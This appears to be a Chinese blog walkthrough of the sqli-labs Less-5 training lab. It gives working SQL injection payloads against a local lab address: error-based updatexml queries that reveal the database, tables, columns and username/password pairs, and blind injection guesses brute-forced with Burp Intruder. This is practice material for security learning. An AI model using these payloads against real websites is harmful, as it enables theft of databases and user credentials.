开启mybatis-plus的打印sql语句功能

mac关于 E45: ‘readonly‘ option is set (add ! to override)

  返回  

sqli-labs靶场Less-5

2021/8/20 17:23:17 浏览:

1、访问首页,/Less-5/index.php?id=1,这里的传参点是id

 探测五步曲

  1. 判断是否是数字形传参
  2. 判断是否有单引号闭合
  3. 判断是否是双引号闭合
  4. 判断是否单引号+括号闭合
  5. 判断是否是双引号+括号闭合

搬出自己准备好的5步曲......好尴尬......慢慢有点难度了哟

结论:通过单引号闭合, 再用and 1=1 与 and 1=2控制条件,发现即不报错又能控制显示的文字。

 2、判断字段数量

http://192.168.60.142:8080/sqlilabs/Less-5/index.php?id=1
' order by 4-- qwe

通过以上order by 1~4 最后order by 4 时报错,说明一共有3个字段,但是有什么用呢?因为没有回显点,哪就使用盲注的方式来处理。

一般情况下可能认为都没有回显点是不是这一步在这里没太多意义?不一定,从order by 时数据库报错了,哪这样我们就可以使用报错注入。

3、使用报错注入查询库名

http://192.168.60.142:8080/sqlilabs/Less-5/index.php?id=1
' and updatexml(1,concat(0x7e,(select database())),1)-- qwe

 4、使用报错注入查表名 

http://192.168.60.142:8080/sqlilabs/Less-5/index.php?id=1
' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 3,1)),1)-- qwe

5、使用报错注入查字段

http://192.168.60.142:8080/sqlilabs/Less-5/index.php?id=1
' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 1,1)),1)-- qwe

 通过修改limit参数,依次爆出3个字段 id、username、password

6、通过报错注入查数据

http://192.168.60.142:8080/sqlilabs/Less-5/index.php?id=1
' and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users limit 4,1)),1)-- qwe

------------------------------以下不是这关的最佳方案纯属练习------------------------------------------------------

7、盲注

        盲注是最麻烦的,既然上面之前提到了没有报错点可以用盲注,虽然麻烦但还是练习一下,复习一下之前学过的东西挺好的。

  猜库的长度

http://192.168.60.142:8080/sqlilabs/Less-5/index.php?id=1
' and length(database())=8-- qwe

结论: 通过length涵数判断出数据库的长度为8个字符

猜库的名称

        猜解库名的第一个字母,这里用的是先截取的第一个字符,然后再将字符进行ascii编码,这样就是数字了,再通过 >  <  小于判断在哪个区间,这里得出在115时能正确显示,哪就说明是115 ,在ascii中115代表字母s,但手工一个个猜太麻烦了,这里要用到burp爆破工具,直接爆破吧。

http://192.168.60.142:8080/sqlilabs/Less-5/index.php?id=1
' and ascii(substr(database(),1,1))=115-- qwe

 通过burp抓包

发送到爆破模块intruder

 得出库名如下:security ,同样的爆表名也可以采用同样的方式,后面我就不尝试了,主要是练习一下而己,方式是一样的,修改一下语名就行了。

联系我们

如果您对我们的服务有兴趣,请及时和我们联系!

服务热线:18288888888
座机:18288888888
传真:
邮箱:888888@qq.com
地址:郑州市文化路红专路93号